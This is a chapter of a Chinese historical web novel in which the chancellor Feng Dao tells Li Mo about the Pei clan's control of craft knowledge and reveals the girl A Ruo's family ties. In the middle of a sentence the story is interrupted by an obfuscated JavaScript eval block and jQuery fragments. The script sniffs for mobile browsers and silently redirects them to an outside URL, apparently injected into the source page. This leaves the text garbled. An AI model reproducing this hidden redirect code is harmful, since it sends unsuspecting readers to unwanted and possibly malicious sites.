李默跟着那个传话的人，穿过三条街，走进一条巷子。
巷子很深，两边是高墙，墙上爬满了枯藤。冬天的藤叶落尽了，只剩光秃秃的枝条，像无数只手伸向天空。李默踩着地上的枯叶，脚步声在巷子里回响，一下，一下，像心跳。
传话的人在一扇门前停下，敲了三下。
门开了，里面探出一张脸——四十来岁，精瘦，眼神锐利。他看了李默一眼，没说话，只是侧身让开。但那一瞬间，李默注意到他的目光在自己脸上停留了一息——不是打量，是确认。
“相国在里面等你。”
李默走进去。
这是一个小院子，不大，但收拾得很干净。青砖铺地，缝隙里长着细小的苔藓，墙角有一口缸，缸里养着几尾鱼，鱼在冬天的水里游得很慢。院子里种着一棵槐树，叶子也落光了，光秃秃的枝丫间挂着一个鸟笼，笼子里没有鸟，只有一根站杆，被啄出了细细的凹痕。
冯道坐在廊下，面前摆着一张小几，几上放着茶壶茶杯。他穿着一身家常的袍子，没戴官帽，头发随意地挽着，露出花白的鬓角。阳光从槐树的枝丫间漏下来，在他身上投下斑驳的影子。
他看起来像个普普通通的富家翁。
但李默知道他不是。
“来了？”冯道抬起头，笑了笑，“坐。”
李默在他对面坐下。坐垫很软，是锦缎的，和这个朴素的院子不太相称。冯道注意到他的目光，笑了一下。
“坐垫是宫里的。”他说，“圣上赏的。老夫舍不得用，今天你来，才拿出来。”
李默愣了一下。
冯道给他倒了一杯茶。茶是热的，杯壁上冒着白气，茶汤清亮，能看见杯底的叶子一片片舒展开。
“将作监的事，我听说了。”冯道说，“炼出硝，引来裴氏的人，杀了两个，抓了一个。干得不错。”
李默没说话。他端起茶杯，喝了一口。茶很香，但有点苦。
冯道也端起茶杯，喝了一口。他喝得很慢，像是在品，又像是在等。
“你知道我为什么来汴梁吗？”他问。
“不知道。”
“因为你。”冯道说，“也因为裴氏。”
他把茶杯放下，看着李默。那双眼睛里，还是那种把人看透了但什么也不说破的光。但这一次，李默在那光里看见了一点别的东西——是疲倦。
“你炼出硝的事，传到河东了。”冯道说，“传到裴氏耳朵里，也传到另一些人耳朵里。”
“另一些人？”
冯道没回答。他站起来，走到那口缸旁边，低头看着里面的鱼。鱼受了惊，摆着尾巴游到缸底，搅起一小片浑浊。
“你知道裴氏为什么能这么多年把持盐铁之利吗？”他没回头，声音从背影里传来。
李默想了想。
“因为朝廷需要他们。”
“对，也不对。”冯道转过身，走回来坐下，“朝廷需要他们，是因为朝廷打不了铁，炼不了钢，挖不了煤。朝廷只会收税，只会发俸禄，只会打仗。但铁怎么打，钢怎么炼，煤怎么挖——朝廷不知道。”
他顿了顿，伸出手，指着自己的太阳穴。
“你知道谁知道吗？”
李默愣了一下。
“工匠。”冯道说，“铁匠、矿工、窑工。这些人知道。但他们不识字，不会写，不会算。他们只会干，不会说。他们的手艺，要么烂在肚子里，要么传给儿子，要么带进棺材。”
他说这些话的时候，眼睛里有东西在动。不是光，是一种更深的什么——像是痛，又像是别的。
“我年轻的时候，见过一个老铁匠。”冯道忽然说，“他打了一辈子铁，临死的时候，想把手艺传下去。但他没有儿子，也没有徒弟。他躺在床上，让我拿纸笔来，他要画。”
他顿了顿。
“他不会画。画出来的东西，没人看得懂。他急得哭，眼泪流了一脸。最后他拉着我的手说，相国，你记着，打铁最重要的是火候，火候到了，铁就软了，软了就能打，打了就能成。”
冯道低下头，看着自己的手。
“他的手很粗，全是老茧和伤疤。他死的时候，眼睛还睁着，看着屋顶，好像屋顶上有什么东西。”
李默没说话。
冯道抬起头，看着他。
“你知道这意味着什么吗？”
李默知道。
意味着技术是散的，是碎的，是随时可能断掉的。一个铁匠死了，他的手艺就没了。一个矿工埋了，他知道的那些煤层的位置就永远没人知道了。
“裴氏不一样。”冯道说，“裴氏有人。他们养着一批工匠，供他们吃，供他们穿，让他们干活，也让他们教徒弟。那些工匠的手艺，裴氏记下来，传下去，一代一代，越积越多。”
他顿了顿。
“所以裴氏不是门阀。裴氏是——一个会记事的将作监。”
李默听着这些话，心里有什么东西在动。他想起周老倔，想起陈小锤，想起那些蹲在蒸汽机旁边看的孩子。他们也会这样，一代一代，把手艺传下去吗？
“你现在做的，”冯道看着他，“是把‘会记事的将作监’，变成‘会记事的朝廷’。”
他笑了一下。那笑容里没有得意，只有一种很复杂的情绪——像是欣慰，又像是担心。
“你知道这意味着什么吗？”
李默知道。
意味着他在动的不只是裴氏的财路，是裴氏的命根子。
意味着裴氏不会放过他。
“所以，”李默说，“相国来汴梁，是为了告诉我这些？”
冯道摇了摇头。
“老夫来汴梁，是为了见一个人。”
“谁？”
冯道没回答。他又站起来，走到那棵槐树下面，抬头看着空空的鸟笼。阳光照在他身上，把影子拉得很长。
“那个人，”他说，“比你还能做梦。但他做的梦，我不知道是救人的，还是杀人的。”
李默站起来，走到他旁边。
“相国说的是谁？”
冯道沉默了很久。他看着那个鸟笼，看着那根被啄出凹痕的站杆，像是想起了什么很远的事情。
“你见过那个人。”他终于开口。
李默愣住了。
“什么时候？在哪儿？”
冯道没回答。他只是看着李默，眼睛里有一种很复杂的东西——像是试探，又像是期待。那种目光让李默想起小时候，他父亲教他骑自行车，扶着他的后座，说“你往前看，别回头”——那种既想放手又怕他摔倒的目光。
“老夫问你一件事。”冯道说，“那个跟着你来的女孩，叫什么？”
李默的瞳孔缩了一下。
“阿箬。”
“阿箬。”冯道念了一遍这个名字。他念得很慢，像是在嘴里咀嚼，“你知道她是谁吗？”
李默摇头。
冯道沉默了一会儿。他走回廊下，重新坐下，端起茶杯喝了一口。茶已经凉了，他没在意。
“她是裴家的人。”
李默脑子里“嗡”的一声。
“什么？”
“裴家二房的人。”冯道说，“她父亲是裴家二房的一个管事，三年前犯了事，被裴家处死。她母亲带着她逃出来，躲到乡下。后来她母亲死了，她被人卖到人市。”
他看着李默。
“你遇见她那天，是她被卖的第三回。”
李默站在那里，听着这些话。
他想起阿箬那双眼睛。冷的，烧的，什么都没有的。
他想起她第一次开口说话，说“学怎么不被人卖”。
他想起她蹲在墙根擦那把刀，一刀一刀，擦得发亮。
他想起她说“我娘死的时候，我说，等我长大了，我要杀光那些让她饿死的人”。
他想起她说“杀一个，少一个”。
“裴氏。”
她说的不是“裴家”，是“裴氏”。
她一直都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401597|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道。
“你告诉我的这些，”李默看着冯道，“她想杀裴氏的人，是因为她恨他们。这能说明什么？”
冯道笑了一下。那笑容里，有一种李默看不懂的东西——像是怜悯，又像是别的什么。
“说明不了什么。”他说，“只是告诉你，你身边那个人，和你一样，跟裴氏有仇。”
他看着李默。
“有仇的人，有两种。一种被仇烧死，一种用仇当柴烧。她是哪一种，你自己看。”
李默没说话。他想起阿箬的眼睛。冷的那一层下面，烧着的东西，是恨，还是别的？
他不知道。
但他知道，他想看见那东西烧下去。
冯道看着他，像是在等什么。过了一会儿，他转过身，走回廊下，重新坐下。
“老夫今天来，还有一件事。”
他从袖子里摸出一张纸，递给李默。
“这是朝中几个人的名单。他们对裴氏不满，但一直没办法。你的事传到他们耳朵里，他们想见见你。”
李默接过那张纸，看了一眼。
三个名字。他不认识。
“他们能做什么？”
“能保你。”冯道说，“将作监归朝廷管，不归裴氏管。只要朝中有人保你，裴氏就不敢明着动你。至于暗的——”
他看着李默。
“暗的，你自己挡。”
李默沉默了很久。他把那张纸折起来，收进怀里。纸的边缘有点扎手，他知道那是因为冯道折了很多次——这张名单，冯道早就准备好了，一直在等他。
“相国，”他说，“你到底想要什么？”
冯道看着他。
“老夫想要什么？”
他站起来，走到那口缸旁边，又低头看着那些鱼。鱼已经安静下来，在水里慢慢地游，尾巴摆得很慢。
“老夫活了五十年，伺候过三个皇帝，见过太多次改朝换代。每一次，死得最多的都是老百姓。”
他伸出手，轻轻碰了碰水面。水面荡起一圈一圈的涟漪，鱼受了惊，又游到缸底。
“那些老百姓，死之前想的是什么？他们有没有想过，为什么死的总是他们？”
他的声音很轻，像是在问自己。
李默没说话。
冯道转过身，走到他面前。
“老夫想要这个世道，少一点人油灯。”
李默看着他。
这句话，冯道在高平之战前说过。那时候他不信。现在——
现在他信了一半。
“还有一件事。”冯道说，“那个抓到的黑衣人，放了吧。”
李默愣了一下。
“放了？”
“放了。”冯道说，“杀一个没用，杀不光。让他回去带个话——告诉裴氏，将作监的人，以后动不得。”
他看着李默。
“这个人情，老夫帮你做了。”
李默沉默了很久。
然后他问：
“为什么？”
冯道看着他，眼睛里有一种很复杂的东西。那东西李默说不出来是什么，但他觉得自己好像看见了——看见冯道年轻的时候，也站在某个地方，看着某个人，问同样的问题。
“因为你做的那些事，”冯道说，“老夫年轻时，也想过做。”
他转过身，走回屋里。
走到门口，他停下来，没回头。
“那个女孩，留着。有用。”
门关上了。
李默站在院子里，看着那扇关上的门。
阳光照在他脸上，照出一片惨白。风吹过来，吹得槐树的枝丫轻轻晃动，鸟笼在枝丫间摇了摇，发出轻微的吱呀声。
他低下头，看着手里那张纸。纸上有三个名字，墨迹很新，是刚写不久的。
他把纸收进怀里，转身往外走。
走到门口，他忽然停下来。
院子里那口缸里的鱼，还在游。
很慢，很慢。